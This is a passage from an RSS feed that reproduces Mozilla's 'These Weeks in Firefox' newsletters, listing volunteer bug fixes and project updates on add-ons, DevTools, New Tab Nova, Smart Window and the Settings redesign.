<li>🌟 Armin Ulrich:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031598"> Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument</a></li>
<li>japandi
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1628669">Cannot remove amazon.com from top sites list</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1977741">The height of the pinned tabs area should be responsive to the number of pins</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986020">Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations</a></li>
</ul>
</li>
<li>Nathan Johnson [:narjoDev]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1950995"> Remove browser.display.use_system_colors pref</a></li>
<li>DrSeed
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1962904">Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968244">The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again</a></li>
</ul>
</li>
<li>Keji Bakare:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008756">Split view’s focus-outline is clipped on the right side of left tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031116">White space on the right side of left panel in split view</a></li>
</ul>
</li>
<li>🌟 gotyaoi:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1807516"> Reload toolbar button is active on about:newtab</a></li>
<li>Itoro James:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015491"> [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it</a></li>
<li>John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997925"> The notification dot is not displayed if the tab is in a Split View</a></li>
<li>🌟 John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027867"> sidebar-shown attribute remains when sidebar.revamp is false</a></li>
<li>🌟 jonathancabera:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2012399">The Move tab to Split View option is also displayed for the tabs that are within the Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016058">A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026032">Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode</a></li>
</ul>
</li>
<li>Aloys:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2000797"> Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67</a></li>
<li>liz:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1875083">Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008119">Button accessible name does not convey its function: missing topic context (Settings dialog &gt; Topics dialog &gt; buttons Following/Unfollow/Blocked/Unblock)</a></li>
</ul>
</li>
<li>Mary cathline:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022115"> Tab Group Label does not respect touch density in vertical tab bar</a></li>
<li>🌟 Brandon Lucier:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030631"> Popups opened with window.open give window type normal instead of popup</a></li>
<li>karan68:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997388"> [dialog] New Shortcut dialog needs a label/accessible name</a></li>
<li>🌟 Vector:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008128"> Button does not programmatically indicate that it opens a dialog (Recent activity section &gt; story card &gt; ••• disclosure &gt; Delete from History button)</a></li>
<li>🌟 Osoble:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1876109"> Update font size and weight for synced tabs device name headers in Firefox View</a></li>
<li>konyhéa:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1873954">Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1883497">Check all second paramaters for TestUtils.waitForCondition in Fx View test files</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030069">Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.</a></li>
</ul>
</li>
<li>Noble Chinonso: <a href="http://sidebartreeview.js/">#shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled</a></li>
<li>Pranjali Srivastava:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=944228"> Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)</a></li>
<li>Okhuomon Ajayi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018272">More spacing is needed between the tab note icon and the close icon on the tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019561">The tabs in vertical mode collapsed state are positioned differently in Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027060">Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029684">Vertical split view tabs can be too big or small when tabs are overflowing</a></li>
</ul>
</li>
<li>🌟 Rishan:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030428"> Fix duplicated arrow function in browser_history_sidebar.js</a></li>
<li>Chukwuka Rosemary:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1948019">“Forget About This Site” context menu option missing from Firefox View history</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026574">Long strings are not displayed properly on the about:opentabs page search filed</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028153">Add test for Forget This Site option in Fxview history context menu.</a></li>
</ul>
</li>
<li>ROSHAAN:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018276">Tab note background colour is incorrect for default light theme</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997346"> [win/linux] The splitter between content areas does not match Figma spec</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028927">Fix typo in OpenInTabsUtils.confirmOpenInTabs()</a></li>
</ul>
</li>
<li>Sameeksha:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008197"> Disclosure button expanded/collapsed state not programmatically defined (Customize button)</a></li>
<li>kofoworola shonuyi:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999012">Actually hide or remove sidebar-shown attribute when in fullscreen.</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028293">Add a test for checking sidebar-shown attribute in fullscreen mode</a></li>
</ul>
</li>
<li>🌟 Sayd Mateen:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021681"> Page URL is displayed as tab name when page’s contains about:reader?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;</a></li>
</ul>
<ul>
<li>Oluwatobi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1975391">Unable to delete selected history entries from sidebar</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1993844">Incorrect Sidebar button state/tooltip hover text</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023913">The city name heading level doesn’t follow the correct heading level order</a></li>
</ul>
</li>
<li>Nishchay [:nish]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031961"> Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)</a></li>
</ul>
<p> </p>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032014"> Bug 2032014</a>
<ul>
<li>NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes</li>
</ul>
</li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033173"> Bug 2033173</a>
<ul>
<li>Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!</li>
</ul>
</li>
<li>Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034329"> Bug 2034329</a>
<ul>
<li>Thanks to Simon Farre for promptly investigating and fixing this recent regression!</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Bug 1392125</a>
<ul>
<li>Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!</li>
</ul>
</li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=750915">Artem Manushenkov</a> fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1983408">#1983408</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446257">Andrea Marchesini [:baku]</a> fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031299">#2031299</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028930">#2028930</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> improved @container tooltip so it show the value of variables used in style()(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030239">#2030239</a>), has enough contrast in dark mode (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033782">#2033782</a>) and contains a link to select the container (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031688">#2031688</a>)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image3.png"><img alt='Firefox Developer Tools showing a CSS @container style() rule in the Rules panel. A popover for a element displays container properties including "container-name: hello section-container", "container-type: inline-size", and the custom property "--w: 100px", while indicating that --secondary and --plouf are not set. Below, the container query uses nested var() fallbacks, and a CSS declaration previews the resolved value for background-color.' class="aligncenter size-full wp-image-2071" height="532" src="https://blog.nightly.mozilla.org/files/2026/06/image3.png" width="1038"></a></li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> is making good progress on migrating the Console to CodeMirror 6 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032758">#2032758</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026569">#2026569</a>)</li>
</ul>
<h4>Fluent</h4>
<ul>
<li>We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image5.png"><img alt="Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system." class="aligncenter size-full wp-image-2073" height="924" src="https://blog.nightly.mozilla.org/files/2026/06/image5.png" width="1509"></a></li>
</ul>
<h4>Migration Improvements</h4>
<ul>
<li>Thanks to dao for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035009">fixing a recent alignment issue in the migration wizard dropdown</a></li>
<li>Thanks to volunteer contributor Anthony Mclamb for his patch that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915">disables the legacy EdgeHTML Edge migrator</a>! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th
<ul>
<li>It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.</li>
</ul>
</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032213"> enabled Nova designs for New Tab</a>, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033165"> fixed the Nova content feed to render the intended four‑column layout</a> by correcting CSS grid breakpoints.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033264"> resolved a first‑load failure in the Weather widget</a> by fixing init order and fetch timing, eliminating the “Oops” error.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2031707"> synchronized the Weather toggle between about:preferences#home and the panel</a> via the shared showWeather pref to prevent desync.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2021460"> updated Nova grid focus order</a> to align tab flow with visual order for keyboard users.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2034620"> fixed critical UI issues in Lists and Timer widgets</a> covering overflow, controls, and layout stability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032462"> guarded document.dir access in Nova render paths</a> to avoid startup cache worker errors and improve startup stability.</li>
<li>Rolf<a href="https://bugzil.la/2031568"> added a new normalization method for the inferred interest vector</a> to stabilize topic relevance across sessions.</li>
<li>Rolf<a href="https://bugzil.la/2031569"> prevented unnecessary content refreshes during Pocket New Tab experiments</a>, reducing jank and bandwidth.</li>
<li>Sameeksha<a href="https://bugzil.la/2008197"> defined the Customize button’s expanded/collapsed state programmatically</a> using aria-expanded for better a11y.</li>
<li>liz<a href="https://bugzil.la/2008119"> clarified follow/unfollow/blocked button names with topic context</a> so screen readers announce clear actions.</li>
<li>Vector<a href="https://bugzil.la/2008128"> marked the Delete from History control as opening a dialog</a> via aria-haspopup=dialog for assistive tech.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers pref off</a>, restoring user selections.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> corrected privacy link color and focus styles</a> for contrast and keyboard visibility.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Marco has fixed a<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743"> couple</a> of<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1989632"> issues</a> with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.</li>
<li>Work continues on the new separate search bar to improve the functionality, e.g.<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033231"> allowing middle click</a> to perform a search in a new tab,<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032991"> avoiding performing a</a> search when adding a search engine.</li>
<li>Work also continues on the new Nova layouts.</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032122">uplifted 10 bugs</a> to 150.0.1 dot release addressing initial user feedback from diary study and <a href="https://connect.mozilla.org/">Connect</a>
<ul>
<li>jump to bottom of conversation <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028692">2028692</a></li>
<li>stop streaming button <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029204">2029204</a></li>
<li>back/forward navigation from assistant <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029229">2029229</a></li>
<li>dark mode for various chips <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2024499">2024499</a></li>
</ul>
</li>
<li>search engine switching from smart bar <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021973">2021973</a></li>
<li>Nova styling within smart window <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026794">2026794</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Dustin converted moz-breadcrumb-group variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029181">Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens</a></li>
<li>Dustin converted moz-box-* variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029180">Bug 2029180 – Convert moz-box-* variables into JSON design tokens</a></li>
<li>Dustin converted moz-promo variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029190">Bug 2029190 – Convert moz-promo variables into JSON design tokens</a></li>
<li>Dustin converted moz-reorderable-list variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029191">Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens</a></li>
<li>Dustin converted moz-visual-picker variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029193">Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens</a></li>
<li>Dustin updated browser-shared.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022985">Bug 2022985 – Update browser-shared.css so it passes use-design-tokens</a></li>
<li>Dustin updated popup.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022979">Bug 2022979 – Update popup.css so it passes use-design-tokens</a></li>
<li>Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1955325">Bug 1955325 – Create opacity tokens</a></li>
<li>Jon converted toolbar design tokens to JSON <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017970">Bug 2017970 – Convert toolbar design tokens to json</a></li>
<li>Anna fixed moz-select with panel-list drop-down size inconsistency <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032365">Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened</a></li>
<li>Anna fixed issue with the disabled state of moz-radio component <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027123">Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled</a></li>
<li>Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022326">Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically</a></li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027209">2027209</a></li>
<li>In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">2031837</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Tim converted settings related to Accessibility page to config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968116">Bug 1968116 – Convert settings related to Accessibility page to config-based settings</a></li>
<li>Benjamin converted Privacy &amp; Security page to the config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968112">Bug 1968112 – Convert settings related to Privacy &amp; Security page to config-based settings</a></li>
<li>Finn integrated Firefox Labs page into setting-pane config <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021047">Bug 2021047 – Integrate Firefox Labs page into setting-pane config</a></li>
<li>Anna converted Firefox Updates section to config-based prefs <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1990961">Bug 1990961 – Convert Firefox Updates section to config-based prefs</a></li>
<li>Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015093">Bug 2015093 – Add a moz-promo to welcome users to the redesign</a>
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image4.png"><img alt="The Firefox settings page in dark mode showing a notification banner that reads, “Same settings, new look!” The message further explains that the page has been reorganized to make settings easier to scan and explore, while keeping all existing settings unchanged. A “Got it” button appears below the message. The “AI Controls” section is visible underneath the banner." class="aligncenter size-full wp-image-2072" height="559" src="https://blog.nightly.mozilla.org/files/2026/06/image4.png" width="1431"></a></li>
</ul>
</li>
<li>Anna added possibility to search for actions in the redesigned “Applications” section <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020370">Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section</a></li>
<li>Anna fixed the Settings navbar layout breakage</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]></title>
<description><![CDATA[Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when ...]]></description>
<link>https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:32 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>James <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032547">enabled adaptive autofill in Nightly</a> for testing, which we believe should provide better results in the URL bar when doing autocomplete!</li>
<li>Jack <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">updated the illustrations shown on some of our error pages</a> to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!</li>
</ul>
<p><img alt="Internet connection error page with an adorable Kit illustration" class="aligncenter wp-image-2080 size-full" height="652" src="https://blog.nightly.mozilla.org/files/2026/06/image2-1.png" width="1584"></p>
<ul>
<li>Controls for the Memories feature <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032998">can now be set during Smart Window onboarding</a></li>
</ul>
<p><img alt='Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"' class="aligncenter wp-image-2078 size-full" height="546" src="https://blog.nightly.mozilla.org/files/2026/06/image4-1-e1780509799577.png" width="500"></p>
<p> </p>
<ul>
<li>We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016509">completing the deprecation</a>
<ul>
<li><b>NOTE:</b> The blog post published at<a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/"> WebExtensions API changes in Firefox 149-152</a> provides to extensions developers more details about this deprecation and links to the related MDN docs.</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=2031599%2C2033820%2C2034178%2C1930213%2C2035355%2C1611643%2C2020302%2C2026007%2C2031015%2C2035252%2C2036528%2C411384%2C2033780%2C2036199%2C1812100%2C1898257%2C2030070%2C2030072">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>Pranjali Srivastava</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> 🌟:23rd: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1812100">Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page</a></li>
<li>🌟Akeem Omosanya: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035252">Remove commented-out code in SearchService.sys.mjs</a></li>
<li>Amin Amir:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
</ul>
</li>
<li>🌟Sahaj: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031015">Suggest the default target language for translation after changing the detected source language</a></li>
<li>🌟JIANG Zhirui: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036199">Breakpad build failed on Windows using VS2026 due to removal of stdext</a></li>
<li> John Iweh: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030072">Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices</a></li>
<li>Jak: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030070">Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting</a></li>
<li>🌟Andy [:rgbcmy]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1611643">Autoplayed next video should also be PIP</a></li>
<li> konyhéa: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930213">“Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.</a></li>
<li> Pranjali Srivastava:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1898257">Remove icon property from sidebar extensions</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026007">Show language-agnostic SelectTranslations context menu item when the source and target languages are the same</a></li>
</ul>
</li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1532724"> Bug 1532724</a>, fix shipping in Firefox 152) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1595158"> Bug 1595158</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed access to web-accessible resources declared with &lt;all_urls&gt; from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033905"> Bug 2033905</a></li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029092"> Bug 2029092</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li>Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
<ul>
<li>added support for remote debugging (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014064">#2014064</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016121">#2016121</a>)</li>
